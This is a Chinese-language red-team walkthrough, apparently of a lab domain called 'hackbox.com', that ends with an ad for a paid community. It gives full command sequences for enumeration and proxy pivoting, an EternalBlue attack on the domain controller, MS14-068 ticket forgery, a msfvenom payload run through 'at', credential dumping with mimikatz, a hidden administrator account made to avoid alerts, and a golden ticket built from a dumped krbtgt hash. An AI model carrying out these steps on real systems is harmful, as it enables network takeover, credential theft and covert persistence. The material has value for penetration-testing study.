00x7-域渗透
发现域
进入交互shell
shell
查看网卡信息
发现有乱码
chcp 65001
然后就ok了
然后我们看到主机的DNS解析的地址有一个hackbox.com
在看一下网卡的DNS_SERVER
用其他的工具查看
不行继续换
run post/windows/gather/enum_domains
run post/windows/gather/enum_domain
or
确定是在dc域里面
直接ping域控
这里发现的主机和上面查看到的是一样的、可以确定目标及确实是在一个dc的域控里面的、且该域控的服务器域名为hackbox.com
域收集
查看域
net view /domain
查看域内的主机
net view /domain:hackbox
发现两台主机
查看域内工作组的信息
net group /domain
基本信息信息就这么多、然后使用MSF自带的功能
获取域内用户token
run post/windows/gather/enum_domain_tokens
查看目标Windows上登录的用户
run enum_logged_on_users -l
run post/windows/gather/enum_logged_on_users
进入dc域控
在MSF上设置路由
查看全局路由器
run get_local_subnets
添加10段的路由信息
run autoroute -s 10.10.10.0/24
查看添加的路由表信息
run autoroute -p
设置代理
use auxiliary/server/socks_proxy
show options
设置代理
set SRVPORT 5555
run
还要记得本地设置代理信息
添加配置信息
sudo vim /etc/proxychains4.conf
结果
然后尝试访问
proxychains4 ping 10.10.10.149
扫描内网域控
masscan扫描
proxychains4 sudo masscan -p 1-65535 10.10.10.149 --rate=1000
使用nmap进行探测
proxychains4 sudo nmap -sS -sC -A 10.10.10.149 -p 445,25,49162,3269,49155,47001,139,49153,49158,464,5722,9389,110,53,88,46154,135,636,3268,389,49157,593,49152,49174,49165 -oA 10.149-p
发现开放的有445端口
对于windowss-server的机器我们可以直接用永恒之蓝打一下
search ms17_010
先进行扫描查看是否能够利用漏洞
use auxiliary/scanner/smb/smb_ms17_010
使用
能够利用成功
MS17-010永恒之蓝打域控
使用ms17_010
use exploit/windows/smb/ms17_010_eternalblue
show optoins
设置payload
可以有多个选择
set payload windows/x64/meterpreter/reverse_tcp #但是一直连接不上去
换一个
set payload generic/shell_bind_tcp
继续执行
结果
成功拿到dc域控的system的session会话
提权成功
MS14-068域控提权 CVE-2014-6324
流程
域普通用户–>创建票据–>注入票据–>访问dc的权限–>域控超级管理员权限
域普通用户
我们需要一个域控里面的普通用户的账户密码
在前面的信息搜集中、我们已经知道目前控制的这个用户机web是属于dc域控里面的一个主机的
账户密码也在前面已经知道了、可以进行测试一下
打开web机的3389、开启远程服务
连接测试
run post/windows/manage/enable_rdp
150的web是已经开启了3389的我们直接测试就行
打开
登录测试
结果
密码是对的但是web的用户在域控里面是没有3389权限的
尝试访问dc域控机器的C盘
dir \\dc\c$
创建白银票据
使用工具
上传到目标机中
执行
成功创建票据
ms14-068.exe -u web@hackbox.com -s S-1-5-21-2005268815-658469957-1189185684-1103 -d 10.10.10.149 -p !@#Qwe456
注入票据
使用工具mimikatz
use mimikatz
首先查看并清除之前的票据
kerberos_ticket_list
kerberos_ticket_purge
导入票据
但是我们发现msf6上的mimikatz模块依旧是没有导入票据的功能
使用工具
将文件上传到目标机器上
然后执行
对于票据的操作
kerberos::list #查看本机票据
kerberos::purge #删除本机所有票据
kerberos::ptc TGT_web@hackbox.com.ccache #导入TGT_web@hackbox.com.ccache
成功导入票据
回到本机进行检查
klist
访问dc
再次尝试访问dc域控的C盘文件
dir \\dc\c$
成功访问
目前只有访问文件的权限
获取域控超级管理员权限
在上面我们已经成功的访问dc域控的文件并且对于文件我们能够做到、复制、执行、的权限
思路:
生成一个正向代理的攻击文件、上传到目标机上、在将攻击载荷copy到dc域控机上、然后使用at命令执行文件、MSF监听、这样就能触发正向代理
生成攻击载荷
msfvenom -p windows/meterpreter/bind_tcp lport=7789 -f exe >`pwd`/149.exe
上传到目标机
将攻击载荷copy到dc域控机
copy 149.exe \\dc\c$\149.exe
使用at命令执行文件
就是相当于一个定时计划的命令
先查看时间
net time \\dc
设置执行命令
at \\dc 0:16:00 c:/149.exe
MSF监听
use exploit/multi/handler
set payload windows/meterpreter/bind_tcp
shwo options
set lport 7789
set rhost 10.10.10.149 #域控主机ip
run
成功上线
进程迁移
建立持久会话、将进程迁移到service.exe的系统服务里面
migrate 448
拿到MSF的session以后下面可以做的就是进行MSF与CS的联动
方法还是和上面的一样
00x8-域攻击
dc域信息搜集
密码搜集
hashdump
出来的并不全
使用另外的方法
run post/windows/gather/smart_hashdump
这里的所有用户以及所有的hash密码都已经到手了
可以使用hash解密
也可以先查看一下用户的证书信息
use mimikatz
creds_kerberos
同时密码还能在这里看
load mimikatz
creds_all
用户SID搜集
run enum_logged_on_users -l
run post/windows/gather/enum_logged_on_users
确定端口开放
前面我们在使用masscan扫描内网的时候已经知道了内网域控机是没有开启远程3389的、为了后面做准备我们还需要进行远程登录
登录远程桌面
步骤
开启3389–>制作system的影子用户–>登录
开启3389
远程终端
run post/windows/manage/enable_rdp
制作影子用户
net user admin$ !@#123shell /add
登录
proxychains4 rdesktop 10.10.10.149
但是影子用户没有进入administractor的分组中
添加administractor分组
net localgroup administrators admini$ /add
成功登录
虽然前面是已经知道administractor的用户密码、而我们不选择直接登录而是去制作影子用户、就是为了防止主机报警
域控维权
制作黄金票据
黄金票据可以使我们永久的获取目标机器的控制权限、就算是主机密码修改、影子用户被删除、都可以保障我们能再次获得权限、
制作黄金票据需要的条件
1.域名称
2.域的SID值
3.域的KRBTGT账户NTLM密码哈希
4.伪造用户名
步骤
清除之前的白银票据–>导出krbtgt的Hash–>生成Golden Ticket–>导入伪造
清除白银票据
load mimikatz
kerberos_ticket_purge
导出krbtgt的Hash、SID值
获取krbtgt的Hash
run post/windows/gather/smart_hashdump
结果
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:6f60ace6accbcb76078ccc0312174e98
获取krbtgt的SID值
方法一
shell
wmic useraccount where name="krbtgt" get sid
结果
wmic useraccount where name="krbtgt" get sid
SID
S-1-5-21-2005268815-658469957-1189185684-502
方法二:
dcsync_ntlm krbtgt
如果我们使用system权限没有办法获取的时候可以窃取一个administractor的进程来执行
步骤
先查看系统进程、找一个administractor的进程、然后记录其ID值、使用steal_token命令
ps
steal_token ID
getuid
dcsync_ntlm krbtgt
生成Golden Ticket
制作
golden_ticket_create
golden_ticket_create -d hackbox.com -u like4h -s S-1-5-21-2005268815-658469957-1189185684 -k 6f60ace6accbcb76078ccc0312174e98 -t /tmp/krbtgtlikr4h.ticket
生成
导入伪造
导入
来到域控下的web主机
kerberos_ticket_use /tmp/krbtgtlikr4h.ticket
尝试访问dc域控
00x9-写在最后
欢迎大家加入星球一起学习、里面有各种红队资源、工具、各种小技巧啊!